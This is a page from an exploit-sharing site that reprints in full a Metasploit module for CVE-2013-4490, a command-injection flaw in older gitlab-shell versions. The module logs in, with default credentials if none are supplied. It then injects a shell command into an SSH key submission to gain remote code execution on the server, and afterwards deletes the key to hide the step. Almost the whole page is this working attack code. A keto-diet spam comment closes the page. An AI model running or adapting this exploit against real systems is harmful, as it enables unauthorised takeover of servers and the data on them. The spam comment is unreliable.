xDay Exploit
v10
today : | at : | safemode : ON
> / home / facebook / twitter / exit /
name author perms com modified label

Gitlab-shell Code Execution Unknown rwxr-xr-x 1 10:20 AM

Filename Gitlab-shell Code Execution
Permission rw-r--r--
Author Unknown
Date and Time 10:20 AM
Label
Action
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'net/ssh'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Gitlab-shell Code Execution',
      'Description'    => %q(
        This module takes advantage of the addition of authorized
        ssh keys in the gitlab-shell functionality of Gitlab. Versions
        of gitlab-shell prior to 1.7.4 used the ssh key provided directly
        in a system call resulting in a command injection vulnerability. As
        this relies on adding an ssh key to an account valid credentials
        are required to exploit this vulnerability.
      ),
      'Author'  =>
        [
          'Brandon Knight'
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['URL', 'https://about.gitlab.com/2013/11/04/gitlab-ce-6-2-and-5-4-security-release/'],
          ['CVE', '2013-4490']
        ],
      'Platform'  => 'linux',
      'Targets'        =>
        [
          [ 'Linux',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X86
            }
          ],
          [ 'Linux (x64)',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X86_64
            }
          ],
          [ 'Unix (CMD)',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Payload' =>
                {
                  'Compat'      =>
                    {
                      'RequiredCmd' => 'openssl perl python'
                    },
                  'BadChars' => "\x22"
                }
            }
          ],
          [ 'Python',
            {
              'Platform' => 'python',
              'Arch' => ARCH_PYTHON,
              'Payload' =>
                {
                  'BadChars' => "\x22"
                }
            }
          ]
        ],
      'CmdStagerFlavor' => %w( bourne printf ),
      'DisclosureDate' => 'Nov 4 2013',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('USERNAME',  [true, 'The username to authenticate as', 'root']),
        OptString.new('PASSWORD',  [true, 'The password for the specified username', '5iveL!fe']),
        OptString.new('TARGETURI', [true,  'The path to Gitlab', '/'])
      ], self.class)
  end

  def exploit
    login
    case target['Platform']
    when 'unix'
      execute_command(payload.encoded)
    when 'python'
      execute_command("python -c \\\"#{payload.encoded}\\\"")
    when 'linux'
      execute_cmdstager(temp: './', linemax: 2800)
    end
  end

  def execute_command(cmd, _opts = {})
    key_id = add_key(cmd)
    delete_key(key_id)
  end

  def check
    res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'users', 'sign_in'))
    if res && res.body && res.body.include?('GitLab')
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Unknown
    end
  end

  def login
    username = datastore['USERNAME']
    password = datastore['PASSWORD']
    signin_page = normalize_uri(target_uri.path.to_s, 'users', 'sign_in')

    # Get a valid session cookie and authenticity_token for the next step
    res = send_request_cgi(
                            'method' => 'GET',
                            'cookie' => 'request_method=GET',
                            'uri'    => signin_page
    )

    fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during login") unless res

    local_session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0]
    auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0]

    if res.body.include? 'user[email]'
      @gitlab_version = 5
      user_field = 'user[email]'
    else
      @gitlab_version = 7
      user_field = 'user[login]'
    end

    # Perform the actual login and get the newly assigned session cookie
    res = send_request_cgi(
                            'method' => 'POST',
                            'cookie' => local_session_cookie,
                            'uri'    => signin_page,
                            'vars_post' =>
                              {
                                'utf8' => "\xE2\x9C\x93",
                                'authenticity_token' => auth_token,
                                "#{user_field}" => username,
                                'user[password]' => password,
                                'user[remember_me]' => 0
                              }
                          )

    fail_with(Failure::NoAccess, "#{peer} - Login failed") unless res && res.code == 302

    @session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0]

    fail_with(Failure::NoAccess, "#{peer} - Unable to get session cookie") if @session_cookie.nil?
  end

  def add_key(cmd)
    if @gitlab_version == 5
      @key_base = normalize_uri(target_uri.path.to_s, 'keys')
    else
      @key_base = normalize_uri(target_uri.path.to_s, 'profile', 'keys')
    end

    # Perform an initial request to get an authenticity_token so the actual
    # key addition can be done successfully.
    res = send_request_cgi(
                            'method' => 'GET',
                            'cookie' => "request_method=GET; #{@session_cookie}",
                            'uri'    => normalize_uri(@key_base, 'new')
    )

    fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res

    auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0]
    title = rand_text_alphanumeric(16)
    key_info = rand_text_alphanumeric(6)

    # Generate a random ssh key
    key = OpenSSL::PKey::RSA.new 2048
    type = key.ssh_type
    data = [key.to_blob].pack('m0')

    openssh_format = "#{type} #{data}"

    # Place the payload in to the key information to perform the command injection
    key = "#{openssh_format} #{key_info}';#{cmd}; echo '"

    res = send_request_cgi(
                            'method' => 'POST',
                            'cookie' => "request_method=GET; #{@session_cookie}",
                            'uri'    => @key_base,
                            'vars_post' =>
                              {
                                'utf8' => "\xE2\x9C\x93",
                                'authenticity_token' => auth_token,
                                'key[title]' => title,
                                'key[key]' => key
                              }
                          )

    fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res

    # Get the newly added key id so it can be used for cleanup
    key_id = res.headers['Location'].split('/')[-1]

    key_id
  end

  def delete_key(key_id)
    res = send_request_cgi(
                             'method' => 'GET',
                             'cookie' => "request_method=GET; #{@session_cookie}",
                             'uri'    => @key_base
                           )

    fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res

    auth_token = res.body.scan(/<meta content="(.*?)" name="csrf-token"/).flatten[0]

    # Remove the key which was added to clean up after ourselves
    res = send_request_cgi(
                             'method' => 'POST',
                             'cookie' => "#{@session_cookie}",
                             'uri'    => normalize_uri("#{@key_base}", "#{key_id}"),
                             'vars_post' =>
                             {
                               '_method' => 'delete',
                               'authenticity_token' => auth_token
                             }
                           )

    fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res
  end
end

1 comments:

Blogger said...

If you're trying to lose pounds then you absolutely need to get on this brand new personalized keto plan.

To create this keto diet service, certified nutritionists, personal trainers, and cooks have united to develop keto meal plans that are powerful, suitable, cost-efficient, and fun.

Since their first launch in early 2019, hundreds of people have already remodeled their body and health with the benefits a good keto plan can offer.

Speaking of benefits; clicking this link, you'll discover 8 scientifically-confirmed ones provided by the keto plan.

Post a Comment

 

xDay Exploit By : Anass Ibn El Farouk